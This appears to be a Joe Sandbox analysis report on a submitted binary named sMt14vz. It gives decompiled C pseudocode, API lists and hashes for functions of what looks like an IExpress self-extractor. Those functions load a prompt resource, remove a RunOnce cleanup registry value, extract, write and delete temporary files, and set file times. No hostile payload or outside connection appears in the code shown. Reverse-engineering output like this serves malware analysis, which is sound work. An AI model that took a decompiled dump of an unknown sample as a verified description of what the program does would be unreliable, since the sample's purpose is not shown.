0x010d5223
0x00000000

APIs

Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46A0
Part of subcall function 010D468F: SizeofResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46A9
Part of subcall function 010D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010D46C3
Part of subcall function 010D468F: LoadResource.KERNEL32(00000000,00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46CC
Part of subcall function 010D468F: LockResource.KERNEL32(00000000,?,010D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46D3
Part of subcall function 010D468F: memcpy_s.MSVCRT ref: 010D46E5
Part of subcall function 010D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,010D2F4D,?,00000002,00000000), ref: 010D5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 010D5250

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

Part of subcall function 010D6285: GetLastError.KERNEL32(010D5BBC), ref: 010D6285

Strings

<None>, xrefs: 010D5262
UPROMPT, xrefs: 010D51EF, 010D5230

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: cd17712228d3c7022e5bcd14cef9cedcbc5e5ff81984b1c2bbae8dd37e66f5c4
Instruction ID: 9dc075ffa85ff16943a10f021ac7e458c679cc46459b8cf2e1e6a8eca8bcb0d3
Opcode Fuzzy Hash: cd17712228d3c7022e5bcd14cef9cedcbc5e5ff81984b1c2bbae8dd37e66f5c4
Instruction Fuzzy Hash: 1911C8B5702301ABD3656BB59C45F7B65EDEBCA394B00442DFEC2D6584DE7E8C014228

Uniqueness

Uniqueness Score: -1.00%

Function 010D1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D1FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x10d8530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup2"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x010d1fee
0x010d2005
0x010d200d
0x010d2017
0x00000000
0x010d2020
0x010d200d
0x010d2029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,010D538C,?,?,010D538C), ref: 010D2005
RegDeleteValueA.KERNELBASE(010D538C,wextract_cleanup2,?,?,010D538C), ref: 010D2017
RegCloseKey.ADVAPI32(010D538C,?,?,010D538C), ref: 010D2020

Strings

wextract_cleanup2, xrefs: 010D1FE7, 010D200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010D1FFB

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup2
API String ID: 849931509-3354236729
Opcode ID: 1d631d110ecd28433f40a3823eba7786a527194f12accbed3bcbe1f9f0e302cc
Instruction ID: b383128f3b5df4afc10fcca19cf3e39e25707b06240a20ecd6d6cf88b70c1869
Opcode Fuzzy Hash: 1d631d110ecd28433f40a3823eba7786a527194f12accbed3bcbe1f9f0e302cc
Instruction Fuzzy Hash: 18E04F30651318FBEB318A91EC0EF597F6AEB00780F104299FE84A1059E7665A10D708

Uniqueness

Uniqueness Score: -1.00%

Function 010D52B6 Relevance: 7.6, APIs: 5, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E010D52B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x10d91e0;
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x10d8a24 == 0 &&  *0x10d9a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x10d8a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x10d8a24 == 0 &&  *0x10d9a30 == 0) {
					_push(_t22);
					E010D1781( &_v268, 0x104, _t22, 0x10d91e4);
					if(( *0x10d9a34 & 0x00000020) != 0) {
						E010D65E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E010D2390( &_v268);
					_t11 =  *0x10d8a20; // 0x0
				}
				if( *0x10d9a40 != 1 && _t11 != 0) {
					_t11 = E010D1FE1(_t22); // executed
				}
				 *0x10d8a20 =  *0x10d8a20 & 0x00000000;
				return E010D6CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x010d52b6
0x010d52b6
0x010d52b6
0x010d52c1
0x010d52c8
0x010d52cb
0x010d52cc
0x010d52d4
0x010d52d6
0x010d52d7
0x010d52de
0x010d52e0
0x010d52f2
0x010d52fa
0x010d52fa
0x010d5302
0x010d5305
0x010d530c
0x010d5312
0x010d5316
0x010d5316
0x010d5317
0x010d531c
0x010d531f
0x010d5333
0x010d5345
0x010d5351
0x010d5359
0x010d5359
0x010d5363
0x010d5369
0x010d536f
0x010d5374
0x010d5374
0x010d5381
0x010d5387
0x010d5387
0x010d538f
0x010d53a0

APIs

SetFileAttributesA.KERNELBASE(?,00000080,?,00000000), ref: 010D52F2
DeleteFileA.KERNELBASE(?), ref: 010D52FA
LocalFree.KERNEL32(?,?,00000000), ref: 010D5305
LocalFree.KERNEL32(?), ref: 010D530C
SetCurrentDirectoryA.KERNELBASE(010D11FC,?,010D91E4), ref: 010D5363

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID:
API String ID: 2833751637-0
Opcode ID: e9649c367017c85b7069fb80507ba971a30f4d6f5b5b37aea655f8d6e36475be
Instruction ID: 3d297d03583c70ccbe2e03df99f2271f6fd25f6a6fb8ccb19ffd4b185023174f
Opcode Fuzzy Hash: e9649c367017c85b7069fb80507ba971a30f4d6f5b5b37aea655f8d6e36475be
Instruction Fuzzy Hash: 1621A131502315DBEB719B2CEC08BA97BF0BB14714F04819AFDC257198CFBA5984CB81

Uniqueness

Uniqueness Score: -1.00%

Function 010D4C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D4C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x10d8d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x10d8d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x010d4c40
0x010d4c4a
0x010d4c8d
0x00000000
0x010d4c70
0x010d4c70
0x010d4c7e
0x010d4c86
0x00000000
0x00000000
0x00000000
0x010d4c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 010D4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 010D4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 010D4C7E

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 5459a84ccaa6d8c60f999920d5e9f7df22f53c5f46483023da58160094eb8f21
Instruction ID: 50e989a5598fe0597fecb74f71280de1c131e51ff2b1aadb885ddb7a73b3cf3e
Opcode Fuzzy Hash: 5459a84ccaa6d8c60f999920d5e9f7df22f53c5f46483023da58160094eb8f21
Instruction Fuzzy Hash: F5F0907260020DBFABA4EFB8CC49DFB7BEDEB04240744466BE996C2450FA35D514C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 010D4CD0 Relevance: 3.1, APIs: 2, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E010D4CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				char* _t70;
				CHAR* _t71;
				char* _t72;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x10d8004; // 0xc2f4ed82
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x10d91d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E010D4E99(_t75);
						L35:
						return E010D6CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x10d8584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x10d91e4;
						_t58 = 0x10d91e4;
						_t19 =  &(_t58[1]); // 0x10d91e5
						_t70 = _t19;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - _t70;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t22 = _t59 + 1; // 0x10d91e6
						_t30 = _t22 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x10d91e4;
						_t30 = E010D4702( &_v268, 0x10d91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E010D476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E010D4980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E010D47E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x10d93f4 =  *0x10d93f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x10d91e4;
						_t63 = 0x10d91e4;
						_t6 =  &(_t63[1]); // 0x10d91e5
						_t72 = _t6;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - _t72;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t9 = _t64 + 1; // 0x10d91e6
						_t30 = _t9 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x10d91e4;
						_t30 = E010D4702( &_v268, 0x10d91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E010D4C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E010D4B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E010D4B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x010d4cd0
0x010d4cdb
0x010d4ce0
0x010d4ce2
0x010d4cee
0x010d4cf2
0x010d4d0e
0x010d4d0e
0x010d4d11
0x010d4e83
0x010d4e88
0x010d4e98
0x010d4e98
0x010d4d17
0x010d4d17
0x010d4d1a
0x010d4d2f
0x010d4d2f
0x00000000
0x010d4d2f
0x010d4d1c
0x010d4d1c
0x010d4d1f
0x010d4dcb
0x010d4dd0
0x010d4dd2
0x010d4ddd
0x010d4ddd
0x010d4de3
0x010d4de8
0x010d4dea
0x010d4dea
0x010d4ded
0x010d4ded
0x010d4def
0x010d4df0
0x010d4df0
0x010d4df4
0x010d4df4
0x010d4df6
0x010d4df9
0x010d4dfc
0x010d4dfc
0x010d4dfe
0x010d4dff
0x010d4dff
0x010d4e03
0x010d4e05
0x010d4e08
0x010d4e0a
0x010d4e0f
0x010d4d03
0x010d4d03
0x00000000
0x010d4d03
0x010d4e18
0x010d4e20
0x010d4e25
0x010d4e27
0x00000000
0x00000000
0x010d4e33
0x010d4e38
0x010d4e3a
0x00000000
0x00000000
0x010d4e40
0x010d4e51
0x010d4e56
0x010d4e5b
0x010d4e5e
0x00000000
0x00000000
0x010d4e6a
0x010d4e6f
0x010d4e71
0x00000000
0x00000000
0x010d4e77
0x010d4e7d
0x00000000
0x010d4e7d
0x010d4d25
0x010d4d25
0x010d4d28
0x010d4d36
0x010d4d3b
0x010d4d3d
0x010d4d3d
0x010d4d40
0x010d4d40
0x010d4d42
0x010d4d43
0x010d4d43
0x010d4d47
0x010d4d4a
0x010d4d4a
0x010d4d4c
0x010d4d4f
0x010d4d4f
0x010d4d51
0x010d4d52
0x010d4d52
0x010d4d56
0x010d4d58
0x010d4d5b
0x010d4d5d
0x010d4d62
0x00000000
0x00000000
0x010d4d67
0x010d4d6f
0x010d4d74
0x010d4d76
0x00000000
0x00000000
0x010d4d7c
0x010d4d84
0x010d4d89
0x010d4d8b
0x00000000
0x00000000
0x010d4d94
0x010d4d99
0x010d4d9e
0x010d4da1
0x010d4daa
0x010d4daa
0x010d4da3
0x010d4da3
0x010d4da3
0x010d4db5
0x010d4dbb
0x010d4dbd
0x00000000
0x010d4dc3
0x010d4dc5
0x00000000
0x010d4dc5
0x010d4dbd
0x010d4d2a
0x010d4d2a
0x010d4d2d
0x00000000
0x00000000
0x00000000
0x010d4d2d
0x010d4cf8
0x010d4cfd
0x010d4d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 010D4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 010D4DDD

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: AttributesFileItemText
String ID:
API String ID: 3625706803-0
Opcode ID: 3118342770bf3761b0fcf709a323f699fe69037d83ba523418c1652d30b96cf3
Instruction ID: c6ae06fcb67904e9d04faab1796e38211f83fd55ed02e3665786b2017fcf57b9
Opcode Fuzzy Hash: 3118342770bf3761b0fcf709a323f699fe69037d83ba523418c1652d30b96cf3
Instruction Fuzzy Hash: 3F4123362043029BDB71AF3CD9446F97BE5EF46300F0486A8D8C6D7E85DA32DA4ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 010D487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010D487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E010D490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x010d4880
0x010d488c
0x010d4894
0x010d48a0
0x010d48c9
0x010d48ce
0x010d48a2
0x010d48a8
0x010d48b7
0x010d48bc
0x010d48aa
0x010d48ac
0x010d48ac
0x010d48a8
0x010d48de
0x010d48e7
0x010d490b
0x010d48ee
0x010d48f0
0x00000000
0x010d4902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,010D4A23,?,010D4F67,*MEMCAB,00008000,00000180), ref: 010D48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,010D4F67,*MEMCAB,00008000,00000180), ref: 010D4902

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c91300969b5619d2e7d325eaed0b17d3f8636a449393a1ec89512997725662c5
Instruction ID: d609f100cc4eca8ee585f41fe80697a6b182fcf272c3a6ae0f5bd5555c55229a
Opcode Fuzzy Hash: c91300969b5619d2e7d325eaed0b17d3f8636a449393a1ec89512997725662c5
Instruction Fuzzy Hash: 27016DA3E126702AF36440398C89FFB955CCBD6675F1B0335BEEAE75C1D6644C0482E0

Uniqueness

Uniqueness Score: -1.00%

Function 010D4AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E010D4AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x10d858c; // 0x268
				_t9 = E010D3680(_t20);
				if( *0x10d91d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x10d8d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t15 =  *0x10d9400 + _t25;
							 *0x10d9400 = _t15;
							if( *0x10d8184 != 0) {
								_t21 =  *0x10d8584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x10d93f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x010d4ad5
0x010d4adb
0x010d4ae7
0x010d4aee
0x010d4b05
0x010d4b0d
0x010d4b14
0x010d4b1a
0x010d4b21
0x010d4b2a
0x010d4b2f
0x010d4b31
0x010d4b39
0x010d4b54
0x010d4b54
0x010d4b39
0x010d4b2f
0x010d4b0f
0x010d4b0f
0x010d4b0f
0x010d4b5e
0x010d4ae9
0x010d4aed
0x010d4aed

APIs

Part of subcall function 010D3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 010D369F
Part of subcall function 010D3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010D36B2
Part of subcall function 010D3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010D36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 010D4B05

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 39df64131044268ffb71eb47369f3c4a8346e2d95286afa02b4a7e7a4057be7b
Instruction ID: c10e273a56c018d5a0e9bd05131aa6c34733e60e56259bc35ba949c5c2988281
Opcode Fuzzy Hash: 39df64131044268ffb71eb47369f3c4a8346e2d95286afa02b4a7e7a4057be7b
Instruction Fuzzy Hash: 21018031201301ABD7248F68DC05FA67BA9FB58735F048266FEB9D75D4CB769811CB40

Uniqueness

Uniqueness Score: -1.00%

Function 010D658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x10d8b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x10d8b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E010D16B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x010d6592
0x010d6594
0x010d6596
0x010d6598
0x010d6598
0x010d659b
0x010d659b
0x010d659d
0x010d659e
0x010d65a2
0x010d65a4
0x010d65a9
0x010d65b2
0x010d65b6
0x010d65ba
0x010d65c3
0x010d65c5
0x010d65c8
0x010d65c8
0x010d65c3
0x010d65c9
0x010d65cc
0x010d65d2
0x010d65d1
0x010d65d1
0x00000000
0x010d65dc
0x00000000

APIs

CharPrevA.USER32(010D8B3E,010D8B3F,00000001,010D8B3E,-00000003,?,010D60EC,010D1140,?), ref: 010D65BA

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: e9c0fb66e33a3818e0b788dc009ab9c825aa53a774e9da4094595a2060724cc9
Instruction ID: 05c6c2e5bd0fdf0831feaf7b3962c1efe9d3de5243aee7a7b13ad65ec416e423
Opcode Fuzzy Hash: e9c0fb66e33a3818e0b788dc009ab9c825aa53a774e9da4094595a2060724cc9
Instruction Fuzzy Hash: BEF042321043509BD331451D9884BA6BFDD9B96150F59019EF9DAC320DCA674D8587A0

Uniqueness

Uniqueness Score: -1.00%

Function 010D621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E010D621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E010D597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E010D44B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x10d9124 = E010D6285();
					_t9 = 0;
				}
				return E010D6CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x010d6229
0x010d6230
0x010d6247
0x010d626a
0x010d6272
0x010d6249
0x010d6255
0x010d625f
0x010d6264
0x010d6264
0x010d6284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 010D623F

Part of subcall function 010D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010D4518
Part of subcall function 010D44B9: MessageBoxA.USER32(?,?,010D9154,00010010), ref: 010D4554

